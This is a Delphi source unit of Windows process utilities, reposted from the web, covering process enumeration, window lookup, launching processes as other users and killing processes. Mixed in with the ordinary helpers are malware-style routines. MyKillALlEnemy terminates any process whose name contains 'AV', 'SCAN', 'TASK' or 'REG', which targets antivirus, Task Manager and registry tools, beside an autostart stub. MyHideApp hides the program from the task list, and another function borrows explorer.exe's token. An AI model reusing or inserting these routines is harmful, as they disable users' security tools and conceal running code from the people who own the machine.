网上淘来的delphi进程操作单元


{
  Unit:    syant_process
  Category:   process
  Date:    2008/04/05
  Version:    1.0.0.0
  Author:    Syant J. Wang
}

unit syant_process;

interface


uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ShellAPI,TlHelp32,PsAPI;

type
  TxEnumProcesses_Psapi = function (ProcessID: DWORD; pContext: Pointer): Boolean;


{
I can use this function to get the location of a application by a window of it .
}
function  MyGetWindowModuleFileName(Wnd: HWND): string;    //By window
function  MyGetWindowModuleFileNmae(PID:dword):string;    //By processID
function  MyGetProcessID(var List: TStringList; FileName: string = ''): TProcessEntry32;
procedure MyGetProcessModule(FProcessEntry32: TProcessEntry32;ModuleStruct: TMODULEENTRY32);

//category: PID & PHandle & window
function  MyGetPIDByWindow(H:THandle):HWND;
function  MyGetPIDByExename(exename:string):HWND;
function  MyGetWindowByPID(ProcessID:DWORD):THandle;
function  MyGetPHandleByPID(PID:HWND):THandle;

//category: create & kill
function   MyShellExecute(const sFileName:string;sPara:string=''; sAction:string='open'): Boolean;
procedure  MyWinExec(CmdLine:string;uCmdShow:Integer=SW_SHOW);
function   MyCreateProcess(filename:string):cardinal;
function   MyCreateProcessEx(const Command: string; bWaitExecute: Boolean; bShowWindow: Boolean; PI: PProcessInformation): Boolean;
function   MyCreateProcessAsCommon(filename,para:string;var waring:string):thandle;
function   MyCreateProcseeAsAnyone(usename,password,doman,exename:string;var success:boolean;time:integer;wait:boolean):TProcessInformation;
Procedure  MyKillProcess(Curr_App:TApplication);overload//Kill Process
procedure  MyKillProcess(PID:HWND);overload
procedure  MyKillProcess(exename:string);overload
procedure  MyKillProcessEx(PID:HWND);

//
Function   MyKillTask(ExeFileName: string): Integer;
Procedure  MyKillALlEnemy;


//
Procedure  MyHideApp;

var
  WindowModuleFileName: string;
  ModuleArray: array of TModuleEntry32;


implementation

uses
  syant_utils,
  syant_string;

   // print  explore
function MyShellExecute(const sFileName:string;sPara:string=''; sAction:string='open'): Boolean;
begin
  Result := ShellExecute(Application.Handle, PChar(sAction), PChar(sFileName), PChar(sPara), PChar(''), SW_SHOW) > 32;
  if not Result then RaiseLastError('ShellExecute');
end;

procedure  MyWinExec(CmdLine:string;uCmdShow:Integer=SW_SHOW);
begin
   winexec(PChar(CmdLine),uCmdShow);
end;

function  MyCreateProcessEx(const Command: string;
   bWaitExecute: Boolean;
   bShowWindow: Boolean;
   PI: PProcessInformation): Boolean;
var
  StartupInfo    : TStartupInfo;   
  ProcessInformation: TProcessInformation;
begin
  FillChar(StartupInfo, SizeOf(TStartupInfo), 0);
  with StartupInfo do
  begin
   cb := SizeOf(TStartupInfo);
   dwFlags := STARTF_USESHOWWINDOW;
   if bShowWindow then
   wShowWindow := SW_NORMAL
   else
   wShowWindow := SW_HIDE;
  end;

  Result := CreateProcess(nil, PChar(Command),
   nil, nil, True, NORMAL_PRIORITY_CLASS, nil, nil,
   StartupInfo, ProcessInformation);

  if not Result then Exit;

  if bWaitExecute then
   WaitForSingleObject(ProcessInformation.hProcess, INFINITE);

  if Assigned(PI) then
   Move(ProcessInformation, PI^, SizeOf(ProcessInformation));
end;

function   MyCreateProcessAsCommon(filename,para:string;var waring:string):thandle;
var
  explorerhandle:thandle;
  hToken:thandle;
  ph:thandle;
  si:startupinfo;
  pi:PROCESS_INFORMATION;
  ok:boolean;
begin
  result:=0;
  explorerhandle:=MyGetPIDByExename('EXPLORER.EXE');
  if explorerhandle=0 then exit;
  ph:=openprocess(PROCESS_ALL_ACCESS,false,explorerhandle);
  if ph<=0 then exit;
  Openprocesstoken(ph,TOKEN_ALL_ACCESS,hToken);
  try
   zeromemory(@si,sizeof(STARTUPINFO));
   si.cb:=sizeof(STARTUPINFO);
   SI.lpDesktop:=PCHAR('Winsta0\Default');
   si.wShowWindow:=SW_SHOWNORMAL;  //SW_HIDE;   //
   ok:=CreateProcessAsUser(hToken,
   pchar(filename),
   pchar(para),
   nil,
   nil,
   false,
   CREATE_DEFAULT_ERROR_MODE,
   nil,
   nil,
   si,
   pi);
   if ok  then   result:=pi.hProcess;
  finally

  end;
  //result:=true;
end;

type
  _STARTUPINFOW   =   record
   cb:   DWORD;
   lpReserved:   LPWSTR;
   lpDesktop:   LPWSTR;
   lpTitle:   LPWSTR;
   dwX:   DWORD;
   dwY:   DWORD;
   dwXSize:   DWORD;
   dwYSize:   DWORD;
   dwXCountChars:   DWORD;
   dwYCountChars:   DWORD;
   dwFillAttribute:   DWORD;
   dwFlags:   DWORD;
   wShowWindow:   Word;
   cbReserved2:   Word;
   lpReserved2:   PByte;
   hStdInput:   THandle;
   hStdOutput:   THandle;
   hStdError:   THandle;
  end;
  STARTUPINFOW   =   _STARTUPINFOW;
function   CreateProcessWithLogonW(lpUserName,lpDomain,lpPassword:LPCWSTR;
   dwLogonFlags:DWORD;lpApplicationName:LPCWSTR;lpCommandLine:LPWSTR;
   dwCreationFlags:DWORD;lpEnvironment:Pointer;lpCurrentDirectory:LPCWSTR;
   const lpStartupInfo:STARTUPINFOW;var lpProcessInformation:PROCESS_INFORMATION):BOOL;stdcall;
   external advapi32  Name   'CreateProcessWithLogonW';
function   MyCreateProcseeAsAnyone(usename,password,doman,exename:string;var success:boolean;time:integer;wait:boolean):TProcessInformation;
var
  STARTUPINFO:StartupInfoW;
  ProcessInfo:TProcessInformation;
  AUser,ADomain,APass,AExe:WideString;
const
  LOGON_WITH_PROFILE=$00000001;
  LOGON_NETCREDENTIALS_ONLY=$00000002;
begin
  success:=true;
  FillChar(STARTUPINFO,SizeOf(StartupInfoW),#0);
  STARTUPINFO.cb:=SizeOf(StartupInfoW);
  STARTUPINFO.dwFlags:=STARTF_USESHOWWINDOW;
  STARTUPINFO.wShowWindow:=SW_SHOW;
  AUser:=usename;
  ADomain:=doman;
  APass:=password;
  AExe:=exename;
  if not CreateProcessWithLogonW(PWideChar(AUser),PWideChar(ADomain),
   PWideChar(APass),  
   LOGON_WITH_PROFILE,nil,PWideChar(AExe),
   NORMAL_PRIORITY_CLASS,nil,nil,STARTUPINFO,ProcessInfo) then
  begin
   success:=false;
   RaiseLastOSError;
   exit;
  end;
  result:=ProcessInfo;
  if wait then
  begin
   if time =-1 then
   WaitForSingleObject(ProcessInfo.hProcess,INFINITE)
   else WaitForSingleObject(ProcessInfo.hProcess,time);
  end;
end;

Procedure MyKillProcess(Curr_App:TApplication);//Kill Process
var
  P:Dword;
begin
  GetWindowThreadProcessId(Curr_App.Handle,@P);
  if P<>0 then TerminateProcess(OpenProcess(PROCESS_TERMINATE,False,P),$FFFFFFFF);
end;

procedure  MyKillProcess(exename:string);overload
var
  Han: THandle;
  exithan:Thandle;
  Process: PROCESSENTRY32;
  ProcessID: int64;
  ok: boolean;
  ExitCode: DWORD;
  i: integer;
begin
  i := 0;
  Han := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
  Process.dwSize := SizeOf(Process);
  ok := Process32First(Han, Process);
  while ok do
  begin
   if uppercase(Process.szExeFile)=uppercase(exename) then
   begin
   processID:=PROCESS.th32ProcessID;
   exithan:= OpenProcess(PROCESS_TERMINATE, true, ProcessID);
   GetExitCodeProcess(exitHan, ExitCode);
   TerminateProcess(exitHan, ExitCode);
   end;
   i := i + 1;
   ok := Process32Next(Han, Process);
  end;
end;

procedure  MyKillProcessEx(PID:HWND);
var
  Han: THandle;
  ExitCode: DWORD;
begin
   Han := OpenProcess(PROCESS_TERMINATE, true, PID);
   GetExitCodeProcess(Han, ExitCode);
   TerminateProcess(Han, ExitCode);
end;

procedure  MyKillProcess(PID:HWND);
var
  processhndle:HWND;
begin
  processhndle:=MyGetPHandleByPID(pid) ;
  if ProcessHndle = 0 then  Exit;   
  TerminateProcess(ProcessHndle, 0);
  CloseHandle(ProcessHndle);
end;


function  MyGetPIDByWindow(H:THandle):HWND;
var
  mypid:HWND;
begin
   GetWindowThreadProcessId(H, @mypid);
   result:=mypid;
end;

function  MyGetPIDByExename(exename:string):HWND;
var
  Ret: BOOL;
  s: string;
  FProcessEntry32: TProcessEntry32;
  FSnapshotHandle: THandle;
begin
  RESULT:=0;
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  Ret := Process32First(FSnapshotHandle, FProcessEntry32);
  while Ret do
  begin
   s := UPPERCASE(ExtractFileName(FProcessEntry32.szExeFile));
   if false then
   begin
   end
   else if (AnsicompareText(Trim(s),exename)=0)  then
   begin
   result := FProcessEntry32.th32ProcessID;
   break;
   end;
   Ret := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;

function  MyGetWindowByPID(ProcessID:DWORD):THandle;
   type
   PProcessWindowInfo=^TProcessWindowInfo;
   TProcessWindowInfo=record
   ProcessID:DWORD;
   Handle:THandle;
   end;
   function CheckProcessWindow(Handle: HWND; Info: Pointer): BOOL; stdcall;
   var
   ProcessID:DWORD;
   begin
   GetWindowThreadProcessId(Handle,ProcessID);
   Result := ProcessID<>PProcessWindowInfo(Info)^.ProcessID;
   if not Result then
   PProcessWindowInfo(Info)^.Handle:=Handle;
   end;
var
  Info:TProcessWindowInfo;
begin
  Info.ProcessID:=ProcessID;
  Info.Handle:=0;
  EnumWindows(@CheckProcessWindow, Longint(@Info));
  Result:=Info.Handle;
end;

function  MyGetPHandleByPID(PID:HWND):THandle;
begin
  result:=OpenProcess(PROCESS_TERMINATE,FALSE,PID);
end;

function MyCreateProcess(filename:string):cardinal;
var
   sStartInfo: STARTUPINFO;
   seProcess, seThread: SECURITY_ATTRIBUTES;
   bSuccess: boolean;
   PProcInfo: PROCESS_INFORMATION;
   exitCode:cardinal;
begin
  if true then //OpenDialog1.Execute then   
  begin
   ZeroMemory(@sStartInfo, sizeof(sStartInfo));
   SStartInfo.cb := sizeof(sStartInfo);
   seProcess.nLength := sizeof(seProcess);
   seProcess.lpSecurityDescriptor := PChar(nil);
   seProcess.bInheritHandle := true;
   seThread.nLength := sizeof(seThread);
   seThread.lpSecurityDescriptor := PChar(nil);
   seThread.bInheritHandle := true;    //Create_Suspended
   bSuccess := CreateProcess(PChar(nil), Pchar(FileName), @seProcess, @seThread, false, CREATE_DEFAULT_ERROR_MODE
   , Pchar(nil), Pchar(nil), sStartInfo, PProcInfo);
   if (not bSuccess) then
   begin
   exit;
   end
   else
   begin
   end ;
   if bSuccess then
   begin
   waitforSingleObject(PProcInfo.hProcess,INFINITE);
   GetExitCodeProcess(PProcInfo.hProcess,exitCode);
   Result:=Exitcode;
   End;
  end;

end;

procedure xEnumProcesses_Psapi(EnumProc: TxEnumProcesses_Psapi; pContext: Pointer);
var
  cbNeeded: DWORD;
  P, PP   : PDWORD;
  I    : Integer;
begin
  if not Assigned(EnumProc) then Exit;

  EnumProcesses(nil, 0, cbNeeded);
  GetMem(P, cbNeeded);
  try
   if not EnumProcesses(P, cbNeeded, cbNeeded) then
   RaiseLastError('EnumProcesses');

   PP := P;
   for I := 0 to cbNeeded div sizeof(DWORD) - 1 do
   begin
   if not EnumProc(PP^, pContext) then break;
   Inc(PP);
   end;
  finally
   FreeMem(P);
  end;
end;


   function xEnumProcesses_ToolHelp_GetWindowModuleFileName_Proc(ProcessEntry: TProcessEntry32; pContext: Pointer): Boolean;
   begin
   Result := ProcessEntry.th32ProcessID <> DWORD(pContext);
   if not Result then WindowModuleFileName := ProcessEntry.szExeFile;
   end;

// syant 2008/02/20
function MyGetWindowModuleFileName(Wnd: HWND): string;
   type
   TxEnumProcesses_ToolHelp = function (ProcessEntry: TProcessEntry32; pContext: Pointer): Boolean;
   procedure xEnumProcesses_ToolHelp(EnumProc: TxEnumProcesses_ToolHelp; pContext: Pointer);
   var
   hSnapshot   : THandle;
   bResult    : Boolean;
   ProcessEntry: TProcessEntry32;
   begin
   if not Assigned(EnumProc) then Exit;
   hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
   if hSnapshot = 0 then
   RaiseLastError('CreateToolhelp32Snapshot,Call syant please');;

   ProcessEntry.dwSize := sizeof(ProcessEntry);
   bResult := Process32First(hSnapshot, ProcessEntry);
   while bResult do
   begin
   if not EnumProc(ProcessEntry, pContext) then break;
   ProcessEntry.dwSize := sizeof(ProcessEntry);
   bResult := Process32Next(hSnapshot, ProcessEntry);
   end;
   CloseHandle(hSnapshot);
   end;
var
  Buf    : array[0..255] of char;
  ProcessID    : DWORD;
  hProcess, hModule: THandle;
  cbNeeded    : DWORD;
begin
  GetWindowThreadProcessId(Wnd, @ProcessID);
  if Win32Platform = VER_PLATFORM_WIN32_WINDOWS then
  begin
   xEnumProcesses_ToolHelp(xEnumProcesses_ToolHelp_GetWindowModuleFileName_Proc, Pointer(ProcessID));
   Result := WindowModuleFileName;
  end else
  begin
   hProcess := OpenProcess(PROCESS_ALL_ACCESS, false, ProcessID);
   hModule := 0;
   EnumProcessModules(hProcess, @hModule, 4, cbNeeded);
   GetModuleFileNameEx(hProcess, hModule, Buf, sizeof(Buf));
   Result := strpas(Buf);
   CloseHandle(hProcess);
  end;
end;

function  MyGetWindowModuleFileNmae(PID:dword):string;
var
  H: THandle;
  TM: TModuleEntry32;
begin
  Result:='';
  H := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,PID);
  if H > 0 then
  begin
   TM.dwSize := sizeof(TM);
   Module32First(H, TM);
   Result:=TM.szExePath;
  end;
end;


function  MyGetProcessID(var List: TStringList; FileName: string = ''): TProcessEntry32;
var
  Ret: BOOL;
  s: string;
  FProcessEntry32: TProcessEntry32;
  FSnapshotHandle: THandle;
begin
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  Ret := Process32First(FSnapshotHandle, FProcessEntry32);
  while Ret do
  begin
   s := ExtractFileName(FProcessEntry32.szExeFile);
   //S:=FProcessEntry32.szExeFile;
   if (FileName = '') then
   List.Add(PChar(s))
   else if (AnsicompareText(Trim(s),Trim(FileName))=0) and (FileName <> '') then
   begin
   List.Add(Pchar(s));
   result := FProcessEntry32;
   break;
   end;
   Ret := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;


procedure MyGetProcessModule(FProcessEntry32: TProcessEntry32;ModuleStruct: TMODULEENTRY32);
var
  PID: integer;
  ModuleListHandle: Thandle;
  J: integer;
  Yn: boolean;
begin
  PID := FProcessEntry32.th32ProcessID;
  ModuleListHandle := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pID);
  ModuleStruct.dwSize := sizeof(ModuleStruct);
  yn := Module32First(ModuleListHandle, ModuleStruct);
  j := 0;
  while (yn) do
  begin
   SetLength(ModuleArray, j + 1);
   ModuleArray[j] := ModuleStruct;
   { Listbox2.Items.add('Module Name:' + ModuleArray[i].szModule);
   Listbox2.items.add('Module ID:' + IntToStr(ModuleArray[i].th32ModuleID));
   Listbox2.items.add('ProcessID:' + IntToStr(ModuleArray[i].th32ProcessID));
   Listbox2.Items.add('GlblcntUsage:' + intToStr(ModuleArray[i].GlblcntUsage));
   Listbox2.items.add('ProccntUsage:' + IntToStr(ModuleArray[i].ProccntUsage));
   ListBox2.items.add(format('Module BaseAddr:%.8X' ,[Integer(ModuleArray[i].modBaseAddr)]));
   Listbox2.items.add(format('Module Size:%.8X' ,[ModuleArray[i].modBaseSize]));
   Listbox2.items.add(format('Module Handle:%.8X' ,[ModuleArray[i].hModule]));  }
   yn := Module32Next(ModuleListHandle, ModuleStruct);
   J := j + 1;
  end;
  CloseHandle(ModuleListHandle);
end;

Function MyKillTask(ExeFileName: string): Integer;
const
  PROCESS_TERMINATE = $0001;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
begin
  Result := 0;
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
  while Integer(ContinueLoop) <> 0 do
  begin
   If Pos(UpperCase(ExeFileName),UpperCase(FProcessEntry32.szExeFile))<>0 Then
   Result := Integer(TerminateProcess(
   OpenProcess(PROCESS_TERMINATE,
   BOOL(0),
   FProcessEntry32.th32ProcessID),
   0));
   ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;


Procedure MyHideApp;
type
  TRegisterServiceProcess = function(dwProcessID,dwType: DWord) : DWord; stdcall;
Var
hKernel32: HInst;
RegisterServiceProcess: TRegisterServiceProcess;
Begin
hKernel32 := LoadLibrary('Kernel32.dll');
If hKernel32 <> HInst(nil) then
RegisterServiceProcess := GetProcAddress(hKernel32,'RegisterServiceProcess')
Else RegisterServiceProcess := nil;
If Assigned(RegisterServiceProcess) Then
RegisterServiceProcess(GetCurrentProcessID,1)
Else SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,nil,0);
{
   ShowWindow( Application.Handle, SW_HIDE );
   SetWindowLong( Application.Handle, GWL_EXSTYLE,
   GetWindowLong(Application.Handle, GWL_EXSTYLE) or
   WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
   ShowWindow( Application.Handle, SW_SHOW );
   }
End;

Procedure MyKillALlEnemy;  // Syant is great , so I need kill all enemy !!!
var
  Proc   : TProcessEntry32;
  Snap   : THandle;
  Kelime : String;
Begin
  Snap := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS,0);
  Proc.dwSize := SizeOf(TProcessEntry32);
  Process32First(Snap,Proc);
  Repeat
  Kelime:=String(Proc.szExeFile);
  If (Pos('AV',UpperCase(Kelime)) <> 0) Or (Pos('SCAN',UpperCase(Kelime)) <> 0) Or (Pos('TASK',UpperCase(Kelime)) <> 0) Or (Pos('REG',UpperCase(Kelime)) <> 0) Then Begin MyKilltask(Kelime); Sleep(1000); End;
  Until (not Process32Next(Snap,Proc));
  { AutoStart Ekle}

End;

end.


联系电话:
020-00000000
联系电话:
020-00000000
联系电话:
020-12345678